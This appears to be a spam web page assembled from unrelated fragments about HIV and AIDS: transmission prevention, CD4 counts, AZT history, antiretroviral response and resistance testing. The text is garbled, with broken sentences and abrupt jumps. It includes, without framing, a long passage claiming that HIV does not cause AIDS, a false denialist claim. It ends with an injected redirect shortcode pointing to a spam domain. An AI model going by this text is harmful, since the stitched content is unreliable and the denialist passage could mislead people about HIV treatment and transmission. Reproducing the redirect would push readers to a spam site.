Palella FJ Jr, Baker RK, Moorman AC, et al. Mortality in the highly active antiretroviral therapy era: changing causes of death and disease in the HIV outpatient study. J Acquir Immune Defic Syndr. 2006 Sep. 43(1):27-34. [Medline].
Programs to prevent the vertical transmission of HIV (from mothers to children) can reduce rates of transmission by 92–99%. This primarily involves the use of a combination of antiviral medications during pregnancy and after birth in the infant and potentially includes bottle feeding rather than breastfeeding. If replacement feeding is acceptable, feasible, affordable, sustainable, and safe, mothers should avoid breastfeeding their infants; however exclusive breastfeeding is recommended during the first months of life if this is not the case. If exclusive breastfeeding is carried out, the provision of extended antiretroviral prophylaxis to the infant decreases the risk of transmission. In 2015, Cuba became the first country in the world to eradicate mother-to-child transmission of HIV.
Jump up ^ “Quick Reference Guide—Laboratory Testing for the Diagnosis of HIV Infection: Updated Recommendations” (PDF). cdc.gov. New York State Department of Health. June 27, 2014. pp. 1–2. Retrieved April 13, 2017.
OTCBB:AMUN), announced that it has filed a patent application to protect the company’s intellectual property for an investigational monoclonal antibody to treat patients suffering from human immunodeficiency virus (HIV) and Acquired Immune Deficiency Syndrome (AIDS).
There are different variants of HIV, and the cell types that they infect are determined to a large degree by which chemokine receptor they bind as co-receptor. The variants of HIV that are associated with primary infections use CCR5, which binds the CC chemokines RANTES, MIP-1α, and MIP-1β (see Chapter 2), as a co-receptor, and require only a low level of CD4 on the cells they infect. These variants of HIV infect dendritic cells, macrophages, and T cells in vivo. However, they are often described simply as ‘macrophage-tropic’ because they infect macrophage but not T-cell lines in vitro and the cell tropism of different HIV variants was originally defined by their ability to grow in different cell lines.
The profound immunosupression seen in AIDS is due to the depletion of T4 helper lymphocytes. HIV is present at a high level in the blood immediately after exposure. It then settles down to a certain low level set-point during the incubation period that lasts from 3-8 weeks. During the incubation perid, there is a massive turnover of CD4 cells as the CD4 cells killed by HIV are replaced rapidly and efficiently. The immune system eventually succumbs and AIDS is developed when killed CD4 cells can no longer be replaced, as witnessed by high HIV-RNA, HIV-Antigen and low CD4 counts.
Most healthy people have a CD4 count of 500 to 1,000 cells per microliter of blood. Typically, the number of CD4+ lymphocytes is reduced during the first few months of infection. After about 3 to 6 months, the CD4 count stabilizes, but without treatment, it usually continues to decline at rates that vary from slow to rapid.
Since then, H.I.V. has been transformed into a treatable condition, one of the great victories of modern medicine. In 1987, the F.D.A. approved AZT, a cancer drug that had never gone to market, for use in H.I.V. patients. At first, it was extortionately priced and was prescribed in high doses, which proved toxic, provoking from the gay community. But AZT was able to insinuate itself into the virus’s DNA as it formed, and later it was used in lower doses. Scientists have now developed more than thirty antiretroviral medicines that stop H.I.V. from reproducing in helper T cells.
If a person gets an “AIDS-defining illness,” this is usually a sign that the person has AIDS. Healthy people do not get these illnesses, because a healthy immune system is strong enough to fight off these diseases. Because of this, getting an AIDS-defining illness is a sign that a person’s immune system is seriously damaged. In a person with HIV, getting an AIDS-defining illness signals that the HIV has damaged the immune system badly enough that the person now has AIDS.
AIDS is an acquired immunodeficiency syndrome defined by a severe depletion of T cells and over 20 conventional degenerative and neoplastic diseases. In the U.S. and Europe, AIDS correlates to 95% with risk factors, such as about 8 years of promiscuous male homosexuality, intravenous drug use, or hemophilia. Since AIDS also correlates with antibody to a retrovirus, confirmed in about 40% of American cases, it has been hypothesized that this virus causes AIDS by killing T cells. Consequently, the virus was termed human immunodeficiency virus (HIV), and antibody to HIV became part of the definition of AIDS. The hypothesis that HIV causes AIDS is examined in terms of Koch’s postulates and epidemiological, biochemical, genetic, and evolutionary conditions of viral pathology. HIV does not fulfill Koch’s postulates: (i) free virus is not detectable in most cases of AIDS; (ii) virus can only be isolated by reactivating virus in vitro from a few latently infected lymphocytes among millions of uninfected ones; (iii) pure HIV does not cause AIDS upon experimental infection of chimpanzees or accidental infection of healthy humans. Further, HIV violates classical conditions of viral pathology. (i) Epidemiological surveys indicate that the annual incidence of AIDS among antibody-positive persons varies from nearly 0 to over 10%, depending critically on nonviral risk factors. (ii) HIV is expressed in less than or equal to 1 of every 10(4) T cells it supposedly kills in AIDS, whereas about 5% of all T cells are regenerated during the 2 days it takes the virus to infect a cell. (iii) If HIV were the cause of AIDS, it would be the first virus to cause a disease only after the onset of antiviral immunity, as detected by a positive “AIDS test.” (iv) AIDS follows the onset of antiviral immunity only after long and unpredictable asymptomatic intervals averaging 8 years, although HIV replicates within 1 to 2 days and induces immunity within 1 to 2 months. (v) HIV supposedly causes AIDS by killing T cells, although retroviruses can only replicate in viable cells. In fact, infected T cells grown in culture continue to divide. (vi) HIV is isogenic with all other retroviruses and does not express a late, AIDS-specific gene. (vii) If HIV were to cause AIDS, it would have a paradoxical, country-specific pathology, causing over 90% Pneumocystis pneumonia and Kaposi sarcoma in the U.S. but over 90% slim disease, fever, and diarrhea in Africa.(viii) It is highly improbable that within the last few years two viruses (HIV-1 and HIV-2) that are only 40% sequence-related would have evolved that could both cause the newly defined syndrome AIDS. Also, viruses are improbable that kill their only natural host with efficiencies of 50-100%, as is claimed for HIVs. It is concluded that HIV is not sufficient for AIDS and that it may not even be necessary for AIDS because its activity is just as low in symptomatic carriers as in asymptomatic carriers. The correlation between antibody to HIV and AIDS does not prove causation, because otherwise indistinguishable diseases are now set apart only on the basis of this antibody. I propose that AIDS is not a contagious syndrome caused by one conventional virus or microbe. No such virus or microbe would require almost a decade to cause primary disease, nor could it cause the diverse collection of AIDS diseases. Neither would its host range be as selective as that of AIDS, nor could it survive if it were as inefficiently transmitted as AIDS. Since AIDS is defined by new combinations of conventional diseases, it may be caused by new combinations of conventional pathogens, including acute viral or microbial infections and chronic drug use and malnutrition. The long and unpredictable intervals between infection with HIV and AIDS would then reflect the thresholds for these pathogenic factors to cause AIDS diseases, instead of an unlikely mechanism of HIV pathogenesis.
Jump up ^ Patel VL, Yoskowitz NA, Kaufman DR, Shortliffe EH (2008). “Discerning patterns of human immunodeficiency virus risk in healthy young adults”. Am J Med. 121 (4): 758–764. doi:10.1016/j.amjmed.2008.04.022. PMC 2597652 . PMID 18724961.
A poor CD4 count response is more likely if the CD4 count at initiation of treatment is low (especially if < 50/μL) and/or the HIV RNA level is high. However, marked improvement is likely even in patients with advanced immunosuppression. An increased CD4 count correlates with markedly decreased risk of opportunistic infections, other complications, and death. With immune restoration, patients, even those with complications that have no specific treatment (eg, HIV-induced cognitive dysfunction) or that were previously considered untreatable (eg, progressive multifocal leukoencephalopathy), may improve. Outcomes are also improved for patients with cancers (eg, lymphoma, Kaposi sarcoma) and most opportunistic infections. Following decades of inadequate funding, our nation’s public health infrastructure lacks the resources it needs to respond aggressively to the HIV and AIDS epidemic. This arrangement has been devastating for members of the LGBTQ community, since the little funding that does exist for HIV prevention, treatment, and care has not been focused on or funded in the communities most impacted by HIV. The Ryan White Care Program, for instance, has been flat funded (i.e, remained the same) since its reauthorization in 2009 despite an increasing number of people living with HIV in the U.S. coming to rely on it for medical and social suport. Drug-resistance testing also has become a key tool in the management of HIV-infected individuals. Details of these tests will be discussed later. Clearly, resistance testing is now routinely used in individuals experiencing poor responses to HIV therapy or treatment failure. In general, a poor response to initial treatment would include individuals who fail to experience a decline in viral load of approximately hundredfold in the first weeks, have a viral load of greater than 500 copies per mL by week 12, or have levels greater than 50 copies per mL by week 24. Treatment failure would generally be defined as an increase in viral load after an initial decline in a person who is believed to be consistently taking his or her medications. Since drug-resistant virus can be transmitted, guidelines from the U.S. Department of Health and Human Services (DHHS) (https://aidsinfo.nih.gov/) and International Antiviral Society-USA (IAS-USA) have suggested that resistance testing be performed in individuals who have never been on therapy to determine if they might have acquired HIV that is resistant to drugs. [redirect url='http://penetratearticles.info/bump' sec='7']